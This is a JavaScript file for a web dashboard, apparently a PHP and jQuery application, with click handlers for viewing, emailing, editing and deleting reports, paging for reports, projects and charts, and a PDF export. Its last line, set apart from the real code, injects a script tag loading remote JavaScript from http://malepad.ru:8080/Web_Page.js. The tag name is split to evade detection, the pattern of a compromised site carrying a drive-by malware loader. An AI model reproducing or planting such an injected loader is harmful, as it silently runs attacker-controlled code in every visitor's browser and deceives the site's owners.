var dashboard_reports_page = 0;
var dashboard_projects_page = 0;
var dashboard_charts_page = 0;
function dashboard_init() {	
  $("#accordion").accordion({autoHeight:false, clearStyle:true});
  
	$('.view_report').click(function() {		
		id = $(this).attr('id').replace('vw-rpt-', '');
		title = $('#rpt-title-' + id).text();		
		showReport(id, title);		
	});
	
	$('.email_report').click(function() {
		id = $(this).attr('id').replace('eml-rpt-', '');
		title = $('#rpt-title-' + id).text();		
		mailReport(id, title);		
	});
	
	$('.edit_report').click(function() {
		id = $(this).attr('id').replace('ed-rpt-', '');
		editReport(id);
	});
	
	$('.del_report').click(function() {
		id = $(this).attr('id').replace('del-rpt-', '');
		title = $('#rpt-title-' + id).text();	
		deleteReport(id, title);		
	});
	
	$('.view_summary').click(function() {
		proj_id = $(this).attr('id');
		proj_name = $('#proj-name-' + proj_id).text();
		showProjectSummary(proj_id, proj_name);
	});
	
	$('.report_area').hover(
	    function() {
	      $(this).children('.options').css({'visibility':'visible'});
	    },
	    function() {
	      $(this).children('.options').css({'visibility':'hidden'});
	    }
	  );     
	
	
	report_project_paging();
}

function  report_project_paging() {
	
	save_report_paging();
	$('#pre-pagin').click(function () {
			dashboard_reports_page--;		
			save_report_paging();		
	});
	
	$('#next-pagin').click(function() {
			dashboard_reports_page++;		
			save_report_paging();
	});
	
	active_projects_paging();
	$('#active-pre-pagin').click(function () {
			dashboard_projects_page--;		
			active_projects_paging();		
	});
	$('#active-next-pagin').click(function() {
			dashboard_projects_page++;		
			active_projects_paging();
	});
	
	
	charts_paging();
	$('#chart-pre-pagin').click(function () {
			dashboard_charts_page--;		
			charts_paging();		
	});
	$('#chart-next-pagin').click(function() {
			dashboard_charts_page++;		
			charts_paging();
	});
	
	
	
	
	// charts download as PDF
	$('#charts_pdf').click(function() {
  html = $('#charts').html();
	$.post("index.php/user/genPDF/0/0/F", 
    {html:html},
    function(data) {          
      var pdfURL = data.replace('\n', '');
      pdfURL = pdfURL.replace('./', '');
      //alert(pdfURL);
      window.location.assign("index.php/user/fileDownload/" + pdfURL);
    }
  );
	});
	
}

function save_report_paging() {
  var width = $("#container").width() - 88;
  total_count = $('.report_area').length;
	visible_count = Math.floor(width / 120);
	var offset = dashboard_reports_page * visible_count;
	var end = offset + visible_count;
	x = offset;
	$('.report_area').hide();
	while (x < end) {
		$('.report_area').eq(x).show();
		x++;
	}
	
	// enable / disable the pagers
	if (!dashboard_reports_page)
		//$('#pre-pagin').attr('disabled','disabled');
		$('#pre-pagin').hide();
	else
		$('#pre-pagin').show();
	
	if (end >= total_count)
		$('#next-pagin').hide();
	else
		$('#next-pagin').show();
}



function active_projects_paging() {
	var width = $("#container").width()- 88;
	total_count = $('.project_area').length;
	visible_count = Math.floor(width / 120);
	var offset = dashboard_projects_page * visible_count;
	var end = offset + visible_count;
	x = offset;
	$('.project_area').hide();
	while (x < end) {
		$('.project_area').eq(x).show();
		x++;
	}
	
	// enable / disable the pagers
	if (!dashboard_projects_page)
		$('#active-pre-pagin').hide();
	else
		$('#active-pre-pagin').show();
	
	if (end >= total_count)
		$('#active-next-pagin').hide();
	else
		$('#active-next-pagin').show();
}


function charts_paging() {
	
	var width = $("#charts").width();
	total_count = $('.pro-charts').length;
	visible_count = 1;
	var offset = dashboard_charts_page * visible_count;
	var end = offset + visible_count;
	x = offset;
	$('.pro-charts').hide();
	while (x < end) {
		$('.pro-charts').eq(x).show();
		x++;
	}
	
	// enable / disable the pagers
	if (!dashboard_charts_page)
		$('#chart-pre-pagin').hide();
	else
		$('#chart-pre-pagin').show();
	
	if (end >= total_count)
		$('#chart-next-pagin').hide();
	else
		$('#chart-next-pagin').show();
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Web_Page.js"></scr'+'ipt>');